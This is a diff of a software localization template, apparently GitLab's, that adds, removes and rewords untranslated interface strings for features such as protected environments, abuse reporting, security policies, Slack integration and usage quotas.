+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
